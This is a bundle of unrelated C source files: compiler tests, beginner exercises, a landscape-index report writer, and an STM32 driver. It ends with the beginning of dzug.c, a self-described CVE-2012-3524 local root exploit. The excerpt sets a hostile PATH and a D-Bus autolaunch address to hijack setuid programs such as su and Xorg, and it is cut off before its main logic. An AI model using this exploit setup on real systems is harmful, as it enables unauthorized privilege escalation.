/* { dg-final { scan-assembler-not "lbarx" } } */
/* { dg-final { scan-assembler-not "lharx" } } */
/* { dg-final { scan-assembler-times "lwarx" 18 } } */
/* { dg-final { scan-assembler-times "ldarx" 6 } } */
/* { dg-final { scan-assembler-not "lqarx" } } */
/* { dg-final { scan-assembler-not "stbcx" } } */
/* { dg-final { scan-assembler-not "sthcx" } } */
/* { dg-final { scan-assembler-times "stwcx" 18 } } */
/* { dg-final { scan-assembler-times "stdcx" 6 } } */
/* { dg-final { scan-assembler-not "stqcx" } } */
/* { dg-final { scan-assembler-times "bl __atomic" 6 } } */
/* As since PR59448 GCC promotes consume to acquire, the expected isync count
is 16 rather than 12. */
/* { dg-final { scan-assembler-times "isync" 16 } } */
/* { dg-final { scan-assembler-times "lwsync" 8 } } */
/* { dg-final { scan-assembler-not "mtvsrd" } } */
/* { dg-final { scan-assembler-not "mtvsrwa" } } */
/* { dg-final { scan-assembler-not "mtvsrwz" } } */
/* { dg-final { scan-assembler-not "mfvsrd" } } */
/* { dg-final { scan-assembler-not "mfvsrwz" } } */
/* Test for the byte atomic operations on power8 using lbarx/stbcx. */
char
char_fetch_add_relaxed (char *ptr, int value)
{
return __atomic_fetch_add (ptr, value, __ATOMIC_RELAXED);
}
char
char_fetch_sub_consume (char *ptr, int value)
{
return __atomic_fetch_sub (ptr, value, __ATOMIC_CONSUME);
}
char
char_fetch_and_acquire (char *ptr, int value)
{
return __atomic_fetch_and (ptr, value, __ATOMIC_ACQUIRE);
}
char
char_fetch_ior_release (char *ptr, int value)
{
return __atomic_fetch_or (ptr, value, __ATOMIC_RELEASE);
}
char
char_fetch_xor_acq_rel (char *ptr, int value)
{
return __atomic_fetch_xor (ptr, value, __ATOMIC_ACQ_REL);
}
char
char_fetch_nand_seq_cst (char *ptr, int value)
{
return __atomic_fetch_nand (ptr, value, __ATOMIC_SEQ_CST);
}
/* Test for the half word atomic operations on power8 using lharx/sthcx. */
short
short_fetch_add_relaxed (short *ptr, int value)
{
return __atomic_fetch_add (ptr, value, __ATOMIC_RELAXED);
}
short
short_fetch_sub_consume (short *ptr, int value)
{
return __atomic_fetch_sub (ptr, value, __ATOMIC_CONSUME);
}
short
short_fetch_and_acquire (short *ptr, int value)
{
return __atomic_fetch_and (ptr, value, __ATOMIC_ACQUIRE);
}
short
short_fetch_ior_release (short *ptr, int value)
{
return __atomic_fetch_or (ptr, value, __ATOMIC_RELEASE);
}
short
short_fetch_xor_acq_rel (short *ptr, int value)
{
return __atomic_fetch_xor (ptr, value, __ATOMIC_ACQ_REL);
}
short
short_fetch_nand_seq_cst (short *ptr, int value)
{
return __atomic_fetch_nand (ptr, value, __ATOMIC_SEQ_CST);
}
/* Test for the word atomic operations on power8 using lwarx/stwcx. */
int
int_fetch_add_relaxed (int *ptr, int value)
{
return __atomic_fetch_add (ptr, value, __ATOMIC_RELAXED);
}
int
int_fetch_sub_consume (int *ptr, int value)
{
return __atomic_fetch_sub (ptr, value, __ATOMIC_CONSUME);
}
int
int_fetch_and_acquire (int *ptr, int value)
{
return __atomic_fetch_and (ptr, value, __ATOMIC_ACQUIRE);
}
int
int_fetch_ior_release (int *ptr, int value)
{
return __atomic_fetch_or (ptr, value, __ATOMIC_RELEASE);
}
int
int_fetch_xor_acq_rel (int *ptr, int value)
{
return __atomic_fetch_xor (ptr, value, __ATOMIC_ACQ_REL);
}
int
int_fetch_nand_seq_cst (int *ptr, int value)
{
return __atomic_fetch_nand (ptr, value, __ATOMIC_SEQ_CST);
}
/* Test for the double word atomic operations on power8 using ldarx/stdcx. */
long
long_fetch_add_relaxed (long *ptr, long value)
{
return __atomic_fetch_add (ptr, value, __ATOMIC_RELAXED);
}
long
long_fetch_sub_consume (long *ptr, long value)
{
return __atomic_fetch_sub (ptr, value, __ATOMIC_CONSUME);
}
long
long_fetch_and_acquire (long *ptr, long value)
{
return __atomic_fetch_and (ptr, value, __ATOMIC_ACQUIRE);
}
long
long_fetch_ior_release (long *ptr, long value)
{
return __atomic_fetch_or (ptr, value, __ATOMIC_RELEASE);
}
long
long_fetch_xor_acq_rel (long *ptr, long value)
{
return __atomic_fetch_xor (ptr, value, __ATOMIC_ACQ_REL);
}
long
long_fetch_nand_seq_cst (long *ptr, long value)
{
return __atomic_fetch_nand (ptr, value, __ATOMIC_SEQ_CST);
}
/* Test for the quad word atomic operations on power8 using ldarx/stdcx. */
__int128_t
quad_fetch_add_relaxed (__int128_t *ptr, __int128_t value)
{
return __atomic_fetch_add (ptr, value, __ATOMIC_RELAXED);
}
__int128_t
quad_fetch_sub_consume (__int128_t *ptr, __int128_t value)
{
return __atomic_fetch_sub (ptr, value, __ATOMIC_CONSUME);
}
__int128_t
quad_fetch_and_acquire (__int128_t *ptr, __int128_t value)
{
return __atomic_fetch_and (ptr, value, __ATOMIC_ACQUIRE);
}
__int128_t
quad_fetch_ior_release (__int128_t *ptr, __int128_t value)
{
return __atomic_fetch_or (ptr, value, __ATOMIC_RELEASE);
}
__int128_t
quad_fetch_xor_acq_rel (__int128_t *ptr, __int128_t value)
{
return __atomic_fetch_xor (ptr, value, __ATOMIC_ACQ_REL);
}
__int128_t
quad_fetch_nand_seq_cst (__int128_t *ptr, __int128_t value)
{
return __atomic_fetch_nand (ptr, value, __ATOMIC_SEQ_CST);
}
|
the_stack_data/145454004.c | /* Write a program to print the 2nd larget element in array */
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char argv[])
{
int arr[5] = {1,2,10,0,50};
int i=0;
int largest=arr[0];
int sec_largest=arr[1];
int temp = 0;
for(i=0;i<4;i++)
{
temp=arr[i+1];
if (temp>largest)
{
sec_largest=largest;
largest=temp;
}
else if (temp>sec_largest)
sec_largest=temp;
}
printf("second largest = %d\n",sec_largest);
system("PAUSE");
return 0;
}
|
the_stack_data/153267518.c | void mx_printchar(char c);
void mx_isos_triangle(unsigned int length, char c) {
for(unsigned int i = 0; i < length; i++) {
for(unsigned int j = 0; j <= i; j++)
mx_printchar(c);
mx_printchar('\n');
}
}
|
the_stack_data/268086.c | /* Exercise 4-7. Write a routine ungets(s) that will push back an entire string
onto the input. Should ungets know about buf and bufp, or should it just use
ungetch? */
/* Answer: ungets() should just use ungetch without knowing about buf, bufp. */
#include <stdio.h>
#define MAXCHAR 10
#define BUFSIZE 100
char buf[BUFSIZE]; /* buffer for ungetch */
int bufp = 0; /* next free position in buf */
void ungets(char []);
int getch(void);
void ungetch(int);
/* test: get a string of less than 10 characters, push the entire string back,
and then re-get the characters one by one from the buffer */
int main(void)
{
int c, i;
char test[MAXCHAR];
i = 0;
for (i = 0; i < MAXCHAR-1 && (c = getch()) != EOF && c != '\n'; i++)
test[i] = c;
test[i] = '\0';
printf("ungets(\"%s\") to buffer\n", test);
ungets(test);
while (i-- > 0)
printf("re-get '%c' from buffer\n", getch());
return 0;
}
/* push back an entire string */
void ungets(char s[])
{
int i;
for (i = 0; s[i] != '\0'; i++)
;
while (i > 0)
ungetch(s[--i]);
}
/* get a (possibly pushed-back) character */
int getch(void)
{
return (bufp > 0) ? buf[--bufp] : getchar();
}
/* push character back on input */
void ungetch(int c)
{
if (bufp >= BUFSIZE)
printf("ungetch: too many characters\n");
else
buf[bufp++] = c;
}
|
the_stack_data/14199497.c | void main()
{
int y;
int * py = &y;
int x;
int * px = &x;
int ** q = &py;
while((**q)>0) {
x--;
q = &px;
}
}
|
the_stack_data/29710.c | /**********************************************************************
* File Name: WRTLAND.C
*
* Purpose: Called by the arc/info AML, fragstats, to write the
* landscape level indices to the .full and .land files.
* Arc/info's formatting capabilities are very limited.
*
* Command Line Arguments:
* in_file: file containing a dump of all the landscape level
* indices, 1 per record
* full_file: name of .full file to write the landscape level
* indices to
* land_file: name of .land file to write the landscape level
* indices to
* init_flag: if 1, write header to .land file
*
* Programmer: Barbara Marks
*
* Date: January 1993
*
* ID: $Id: wrtland.c,v 2.2 1994/04/19 14:32:51 marks Exp marks $
***********************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main (argc,argv)
int argc;
char *argv[];
{
FILE *in,*out1,*out2;
char infile[50];
char outfile1[50],outfile2[50];
char string[15];
char cvalue[20],cvalue2[20];
int i,init;
int ivalue;
float value;
if (argc != 5) {
printf ("\nUSAGE: wrtland infile full_file1 land_file2 init\n");
exit(-1);
}
strcpy (infile,argv[1]); /* input arc/info file */
strcpy (outfile1,argv[2]); /* name for output .full file */
strcpy (outfile2,argv[3]); /* name for output .land file */
init = atoi(argv[4]); /* initialize flag; if 1 write header*/
/*
* Open input file containing the value of all the indices
*/
if ((in=fopen(infile,"r")) == NULL) {
printf ("\nERROR! Can not open file: %s\n",infile);
exit(-1);
}
/*
* Open output .full file (formatted file)
*/
if ((out1=fopen(outfile1,"a")) == NULL) {
printf ("\nERROR! Can not open file: %s\n",outfile1);
exit(-1);
}
/*
* Open output .land file (all indices written to one record)
*/
if ((out2 = fopen (outfile2,"a")) == NULL) {
printf ("\nERROR! Can not open file: %s\n",outfile2);
exit(-1);
}
/*
* Write header to .land file if init = true
*/
if (init) {
fprintf (out2," LID TA LPI NP PD");
fprintf (out2," MPS PSSD PSCV");
fprintf (out2," TE");
fprintf (out2," ED CWED TECI MECI AWMECI");
fprintf (out2," LSI MSI AWMSI DLFD MPFD AWMPFD");
fprintf (out2," TCA NCA CAD");
fprintf (out2," MCA1 CASD1 CACV1");
fprintf (out2," MCA2 CASD2 CACV2");
fprintf (out2," TCAI MCAI");
fprintf (out2," SHDI SIDI MSIDI");
fprintf (out2," PR PRD RPR");
fprintf (out2," SHEI SIEI MSIEI");
fprintf (out2," IJI");
fprintf (out2,"\n");
}
/*
* Write landscape level indices
*/
fprintf (out1,"\n\nLANDSCAPE INDICES");
fscanf (in,"%s",cvalue);
if (strlen(cvalue) > 12) {
for(i=0; i < 12; i++) fprintf (out2,"%c",cvalue[i]);
fprintf(out2," ");
}
else
fprintf(out2,"%12s ",cvalue);
/*
* total landscape area
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nTotal Area (ha): %13.3f",value);
fprintf (out2,"%11.2f ",value);
/*
* largest patch index
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nLargest Patch Index(%%): %10.3f",value);
fprintf (out2,"%6.2f ",value);
/*
* number of patches in the landscape
*/
fscanf (in,"%d",&ivalue);
fprintf (out1,"\nNumber of patches: %10d",ivalue);
fprintf (out2,"%5d ",ivalue);
/*
* patch density (#patches/100 ha)
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nPatch Density (#/100 ha): %10.3f",
value);
fprintf (out2,"%8.2f ",value);
/*
* mean patch size
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nMean Patch Size (ha): %13.3f",value);
fprintf (out2,"%11.2f ",value);
/*
* patch size standard deviation
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nPatch Size Standard Dev (ha): %12.3f",value);
fprintf (out2,"%11.2f ",value);
/*
* patch size coefficient of variation
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nPatch Size Coeff of Variation (%%): %10.3f",value);
fprintf (out2,"%10.2f ",value);
/*
* total edge
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nTotal Edge (m): %15.3f",value);
fprintf (out2,"%12.1f ",value);
/*
* edge density
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nEdge Density (m/ha): %12.3f",value);
fprintf (out2,"%9.2f ",value);
/*
* contrast-weighted edge density
*/
fscanf (in,"%s",string);
if (strcmp(string,"NA") == 0) {
sprintf (cvalue,"NA");
sprintf (cvalue2,".");
}
else {
sprintf (cvalue,"%10.3f",atof(string));
sprintf (cvalue2,"%9.2f",atof(string));
}
fprintf (out1,"\nContrast-Weight Edge Density (m/ha): %10s",cvalue);
fprintf (out2,"%9s ",cvalue2);
/*
* total edge contrast index
*/
fscanf (in,"%s",string);
if (strcmp(string,"NA") == 0) {
sprintf (cvalue,"NA");
sprintf (cvalue2,".");
}
else {
sprintf (cvalue,"%10.3f",atof(string));
sprintf (cvalue2,"%6.2f",atof(string));
}
fprintf (out1,"\nTotal Edge Contrast Index (%%): %10s",cvalue);
fprintf (out2,"%6s ",cvalue2);
/*
* mean edge contrast index
*/
fscanf (in,"%s",string);
if (strcmp(string,"NA") == 0) {
sprintf (cvalue,"NA");
sprintf (cvalue2,".");
}
else {
sprintf (cvalue,"%10.3f",atof(string));
sprintf (cvalue2,"%6.2f",atof(string));
}
fprintf (out1,"\nMean Edge Contrast Index (%%): %10s",cvalue);
fprintf (out2,"%6s ",cvalue2);
/*
* area-weighted mean edge contrast index
*/
fscanf (in,"%s",string);
if (strcmp(string,"NA") == 0) {
sprintf (cvalue,"NA");
sprintf (cvalue2,".");
}
else {
sprintf (cvalue,"%7.3f",atof(string));
sprintf (cvalue2,"%6.2f",atof(string));
}
fprintf (out1,"\nArea-Weighted Mean Edge Contrast (%%): %7s",
cvalue);
fprintf (out2,"%6s ",cvalue2);
/*
* landscape shape index
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nLandscape Shape Index: %10.3f",value);
fprintf (out2,"%6.2f ",value);
/*
* mean shape index
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nMean Shape Index: %10.3f",value);
fprintf (out2,"%6.2f ",value);
/*
* area-weighted mean shape index
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nArea-Weighted Mean Shape Index: %10.3f",value);
fprintf (out2,"%6.2f ",value);
/*
* double-log fractal index
*/
fscanf (in,"%s",string);
if (strcmp(string,"NA") == 0) {
sprintf (cvalue,"NA");
sprintf (cvalue2,".");
}
else {
sprintf (cvalue,"%10.3f",atof(string));
sprintf (cvalue2,"%5.2f",atof(string));
}
fprintf (out1,"\nDouble Log Fractal Dimension: %10s",cvalue);
fprintf (out2,"%5s ",cvalue2);
/*
* mean patch fractal
*/
fscanf (in,"%f",&value);
if (value > 0.) {
sprintf (cvalue,"%10.3f",value);
sprintf (cvalue2,"%5.2f",value);
}
else {
sprintf (cvalue,"NA");
sprintf (cvalue2,".");
}
fprintf (out1,"\nMean Patch Fractal Dimension: %10s",cvalue);
fprintf (out2,"%5s ",cvalue2);
/*
* area-weighted mean patch fractal
*/
fscanf (in,"%f",&value);
if (value > 0.) {
sprintf (cvalue,"%10.3f",value);
sprintf (cvalue2,"%5.2f",value);
}
else {
sprintf (cvalue,"NA");
sprintf (cvalue2,".");
}
fprintf (out1,"\nArea-Weighted Mean Fractal Dimension:%10s",cvalue);
fprintf (out2,"%5s ",cvalue2);
/*
* total core area
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nTotal Core Area (ha): %13.3f",value);
fprintf (out2,"%11.2f ",value);
/*
* number of core area patches
*/
fscanf (in,"%d",&ivalue);
fprintf (out1,"\nNumber of Core Areas: %10d",ivalue);
fprintf (out2,"%5d ",ivalue);
/*
* core area density
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nCore Area Density (#/100 ha): %12.3f",value);
fprintf (out2,"%8.2f ",value);
/*
* mean core area 1
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nMean Core Area 1 (ha): %13.3f",value);
fprintf (out2,"%11.2f ",value);
/*
* core area standard deviation 1
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nCore Area Standard Dev 1 (ha): %13.3f",value);
fprintf (out2,"%11.2f ",value);
/*
* core area coefficient of variation 1
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nCore Area Coeff of Variation 1 (%%): %10.3f",value);
fprintf (out2,"%8.2f ",value);
/*
* mean core area 2
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nMean Core Area 2 (ha): %13.3f",value);
fprintf (out2,"%11.2f ",value);
/*
* core area standard deviation 2
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nCore Area Standard Dev 2 (ha): %13.3f",value);
fprintf (out2,"%11.2f ",value);
/*
* core area coefficient of variation 2
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nCore Area Coeff of Variation 2 (%%): %10.3f",value);
fprintf (out2,"%8.2f ",value);
/*
* core area index
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nTotal Core Area Index (%%): %10.3f",value);
fprintf (out2,"%6.2f ",value);
/*
* mean core area index
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nMean Core Area Index (%%): %10.3f",value);
fprintf (out2,"%6.2f ",value);
/*
* shannon diversity
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nShannon's Diversity Index: %10.3f",value);
fprintf (out2,"%6.2f ",value);
/*
* simpson diversity
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nSimpson's Diversity Index: %10.3f",value);
fprintf (out2,"%6.2f ",value);
/*
* modified simpson diversity
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nModified Simpson's Diversity Index: %10.3f",value);
fprintf (out2,"%6.2f ",value);
/*
* patch richness
*/
fscanf (in,"%d",&ivalue);
fprintf (out1,"\nPatch Richness: %10d",ivalue);
fprintf (out2,"%5d ",ivalue);
/*
* patch richness density
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nPatch Richness Density (#/100 ha): %10.3f",value);
fprintf (out2,"%8.2f ",value);
/*
* relative patch richness
*/
fscanf (in,"%s",string);
if (strcmp(string,"NA") == 0) {
sprintf (cvalue,"NA");
sprintf (cvalue2,".");
}
else {
sprintf (cvalue,"%10.3f",atof(string));
sprintf (cvalue2,"%6.2f",atof(string));
}
fprintf (out1,"\nRelative Patch Richness (%%): %10s",cvalue);
fprintf (out2,"%6s ",cvalue2);
/*
* shannon evenness
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nShannon's Evenness Index: %10.3f",value);
fprintf (out2,"%6.2f ",value);
/*
* simpson evenness
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nSimpson's Evenness Index: %10.3f",value);
fprintf (out2,"%6.2f ",value);
/*
* modified simpson evenness
*/
fscanf (in,"%f",&value);
fprintf (out1,"\nModified Simpson's Evenness Index: %10.3f",value);
fprintf (out2,"%6.2f ",value);
/*
* interspersion/juxtaposition index
*/
fscanf (in,"%s",string);
if (strcmp(string,"NA") == 0) {
sprintf (cvalue,"NA");
sprintf (cvalue2,".");
}
else {
sprintf (cvalue,"%8.3f",atof(string));
sprintf (cvalue2,"%7.2f",atof(string));
}
fprintf (out1,"\nInterspersion/Juxtaposition Index (%%): %8s",cvalue);
fprintf (out2,"%7s ",cvalue2);
fprintf (out1,"\n");
fprintf (out2,"\n");
fclose (in);
fclose (out1);
fclose (out2);
}
|
the_stack_data/154829804.c | // RUN: %clang_cc1 -S %s -emit-llvm -o - | FileCheck %s
// CHECK-LABEL: main
// CHECK: attributes #0 = {{.*}}"no-trapping-math"="true"{{.*}}
int main(void) {
return 0;
}
|
the_stack_data/3262809.c | #include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main(){
char *av[3]; //array di puntatori a char che serve per passare i param alla execv
av[0]="ls"; /*puntatore a char cui viene assegnato il puntatore alla stringa "ls" */
av[1]="-l";
av[2]=(char *)0; //viene assegnato il valore 0 come puntatore a char
printf("esecuzione di ls:prima versione\n");
execv("/bin/ls", av);
//si esegue l'istruzione seguente solo in caso di fallimento della exec
printf("errore in execv\n");
exit(1);
}
|
the_stack_data/118723.c | #include <stdio.h>
int main(){
int a;
short int b;
long int c;
long long int d;
unsigned int e;
unsigned short int f;
unsigned long int g;
unsigned long long int h;
printf("int a: %ld\n", sizeof(a));
printf("short int b: %ld\n", sizeof(b));
printf("long int c: %ld\n", sizeof(c));
printf("long long int d: %ld\n", sizeof(d));
printf("unsigned int e: %ld\n", sizeof(e));
printf("unsigned short int f: %ld\n", sizeof(f));
printf("unsigned long int g: %ld\n", sizeof(g));
printf("unsigned long long int h: %ld\n", sizeof(h));
return 0;
} |
the_stack_data/97012699.c | #include <stdio.h>
int main() {
int i=0;
while(i!=1);
}
|
the_stack_data/10292.c | #include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
bool buscaSimples(int * vetor, int valor_procurado, int tamanho_vetor){
bool valor_foi_encontrado = false;
for(int x = 0; x < tamanho_vetor; x++){
if(vetor[x] == valor_procurado){
valor_foi_encontrado = true;
printf("Valor [%d] encontrado na posição %d", valor_procurado, x);
}
}
if(valor_foi_encontrado == false)
printf("Valor não encontrado!");
return valor_foi_encontrado;
}
void main(){
bool foi_encontrado;
int tamanho_vetor, valor_procurado;
int * vetor;
printf("Digite o tamanho do vetor: ");
scanf("%d", &tamanho_vetor);
vetor = (int *) malloc(tamanho_vetor * sizeof(int));
for(int x = 0; x < tamanho_vetor; x++){
printf("Digite o valor na posição %d: ", x);
scanf("%d", &vetor[x]);
}
printf("Digite o valor procurado: ");
scanf("%d", &valor_procurado);
foi_encontrado = buscaSimples(vetor, valor_procurado, tamanho_vetor);
free(vetor);
}
|
the_stack_data/97013511.c | /**
******************************************************************************
* @file stm32f3xx_ll_pwr.c
* @author MCD Application Team
* @brief PWR LL module driver.
******************************************************************************
* @attention
*
* <h2><center>© COPYRIGHT(c) 2016 STMicroelectronics</center></h2>
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. Neither the name of STMicroelectronics nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
******************************************************************************
*/
#if defined(USE_FULL_LL_DRIVER)
/* Includes ------------------------------------------------------------------*/
#include "stm32f3xx_ll_pwr.h"
#include "stm32f3xx_ll_bus.h"
/** @addtogroup STM32F3xx_LL_Driver
* @{
*/
#if defined(PWR)
/** @defgroup PWR_LL PWR
* @{
*/
/* Private types -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private constants ---------------------------------------------------------*/
/* Private macros ------------------------------------------------------------*/
/* Private function prototypes -----------------------------------------------*/
/* Exported functions --------------------------------------------------------*/
/** @addtogroup PWR_LL_Exported_Functions
* @{
*/
/** @addtogroup PWR_LL_EF_Init
* @{
*/
/**
* @brief De-initialize the PWR registers to their default reset values.
* @retval An ErrorStatus enumeration value:
* - SUCCESS: PWR registers are de-initialized
* - ERROR: not applicable
*/
ErrorStatus LL_PWR_DeInit(void)
{
/* Force reset of PWR clock */
LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_PWR);
/* Release reset of PWR clock */
LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_PWR);
return SUCCESS;
}
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
#endif /* defined(PWR) */
/**
* @}
*/
#endif /* USE_FULL_LL_DRIVER */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
the_stack_data/905402.c | /*
This file contains system calls and other routines which may be
system dependent.
*/
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
#include <sys/time.h>
#include <setjmp.h>
#include <strings.h>
#include <sys/file.h>
/*
Return the current time.
*/
char *
gettime()
{
struct timeval tv;
struct timezone tz;
struct tm *t;
static char s[20];
gettimeofday(&tv,&tz);
t = localtime(&tv.tv_sec);
sprintf(s,"%02d%02d%02d",
t->tm_hour,
t->tm_min,
t->tm_sec);
return s;
}
/*
Return the current date.
*/
char *
getdate()
{
struct timeval tv;
struct timezone tz;
struct tm *t;
static char s[20];
gettimeofday(&tv,&tz);
t = localtime(&tv.tv_sec);
sprintf(s, "%02d%02d%02d",
t-> tm_year,
++(t-> tm_mon),
t-> tm_mday);
return s;
}
remove_file(fname)
char *fname;
{
return(unlink(fname));
}
rename_file(from,to)
char *from,*to;
{
return(rename(from,to));
}
/*
Return a pointer to the last instance of character 'c' in string 's',
or 0 if 'c' does not occur in 's'.
*/
char *reverse_index(s,c)
char *s,c;
{
return(rindex(s,c));
}
/*
Execute the program named "p".
*/
call_program(p)
char *p;
{
return(system(p));
}
/*
Open a file with given name and mode, checking for errors.
*/
FILE *efopen(name,mode)
char *name,*mode;
{
FILE *fp;
if((fp = fopen(name,mode)) != NULL)
return fp;
fprintf(stderr, "%s: failed to open in mode %s\n",name,mode);
exit(1);
}
/*
Open a pipe to the given command with the given read/write mode.
*/
FILE *epopen(commandline,mode)
char *commandline,*mode;
{
FILE *fp;
if((fp = popen(commandline,mode)) != NULL)
return fp;
fprintf(stderr,"%s: could not execute\n",commandline);
exit(1);
}
/*
Check to see if the given path name is accessible under the given mode.
Used to see if a given file can be opened for reading, writing, etc.
*/
can_access(path,mode)
char *path;
int mode;
{
return(access(path,mode));
}
|
the_stack_data/72012296.c | #include <stdio.h>
#include <math.h>
int main()
{
int n_times, upto_n, s1, s2, s3, s4, s5, s6;
s1 = s3 = s4 = s6 = 0;
s2 = s5 = 1;
printf("Enter times --> ");
scanf("%d", &n_times);
printf("Enter upto --> ");
scanf("%d", &upto_n);
do
{
s1 += n_times;
s2 += 5 * (n_times - 1);
s3 += pow(2, n_times);
n_times--;
} while (n_times > 0);
int i = 11;
do
{ s4 += i; i++; } while (i <= upto_n);
i = 5;
do
{ s5 += i; i += 5; } while (i <= upto_n);
i = 2;
do
{ s6 += i; i *= 2; } while (i <= upto_n);
printf("\nS = 1+2+3... N times = %d S = 11+12+13... upto N = %d", s1, s4);
printf("\nS = 1+5+10+15... N times = %d S = 1+5+10+15... upto N = %d", s2, s5);
printf("\nS = 2+4+8... N times = %d S = 2+4+8... upto N = %d\n", s3, s6);
}
|
the_stack_data/35887.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_swap_int.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: jblack-b <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2018/12/11 17:11:22 by jblack-b #+# #+# */
/* Updated: 2018/12/11 17:44:31 by jblack-b ### ########.fr */
/* */
/* ************************************************************************** */
void ft_swap_int(int *a, int *b)
{
int temp;
if (!a || !b)
return ;
temp = *a;
*a = *b;
*b = temp;
}
|
the_stack_data/841420.c | extern int printf(const char* restrict format, ...);
int jitmain(int argc, char** argv) {
if (argc != 3) return 1;
int len = 0;
while (argv[2][len]) ++len;
printf("%d\n", len);
return 0;
}
|
the_stack_data/1262682.c | #include <stdio.h>
#include <string.h>
int main ()
{
int aux = 0, i, tam;
char dig, valor[100];
scanf("%c ", &dig);
gets(valor);
while(dig != '0' && valor[0] != '0')
{
tam = strlen (valor);
for(i = 0 ; i < tam ; ++i)
{
if(valor[i] == dig || valor[i] == '0') continue;
else
{
printf("%c", valor[i]);
++aux;
}
}
if(aux == 0) printf("0");
aux = 0;
printf("\n");
scanf("%c ", &dig);
gets(valor);
}
return 0;
}
|
the_stack_data/97011842.c | #include <stdarg.h>
#define LINE_SZ 1024
extern void goavLog(int level, char *str);
extern void av_log_set_callback(void (*callback)(void *, int, const char *, va_list));
extern void av_log_format_line(void *ptr, int level, const char *fmt, va_list vl, char *line, int line_size, int *print_prefix);
void goavLogCallback(void *class_ptr, int level, const char *fmt, va_list vl) {
char line[LINE_SZ];
int print_prefix = 1;
av_log_format_line(class_ptr, level, fmt, vl, line, LINE_SZ, &print_prefix);
goavLog(level, line);
}
void goavLogSetup() {
av_log_set_callback(goavLogCallback);
}
|
the_stack_data/68886649.c | struct a {
char b;
char c
} d;
e, g;
char *f;
h() {
struct a *a = &d;
char b;
char *c;
for (;;) {
for (;;) {
b = *f;
if (b == f) {
if (a->c)
break;
while (b = f)
;
}
if (b == '\\') {
f += 2;
continue;
}
if (b && c)
if (f[1])
c = g;
f++;
if (b)
break;
g = f;
}
a->b = f;
if (b)
return 0;
break;
}
e = f;
}
|
the_stack_data/43001.c | /* dzug.c CVE-2012-3524 PoC (C) 2012 Sebastian Krahmer
*
* Trivial non-dbus root exploit. (Yes, it is 2012!)
*
* The underlying bug (insecure getenv() by default) has been
* reported ages ago, but nobody really cared. Unless you have an
* exploit...
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/stat.h>
int main(int argc, char **argv)
{
int i = 0;
struct stat st;
pid_t pid = 0;
char *env[] = {
"PATH=/tmp:/usr/bin:/usr/sbin:/sbin:/bin",
"DBUS_STARTER_BUS_TYPE=system",
"DBUS_SYSTEM_BUS_ADDRESS=autolaunch:",
NULL,
NULL
};
/* the pam_systemd vector */
char *su[] = {"/bin/su", NULL, "blah", NULL};
/* the spice vector */
char *spice[] = {"/usr/libexec/spice-gtk-x86_64/spice-client-glib-usb-acl-helper", NULL};
/* the Xorg vector, for older Linux dists and Solaris */
char *xorg[] = {"/usr/bin/Xorg", ":7350", NULL};
char **a = xorg;
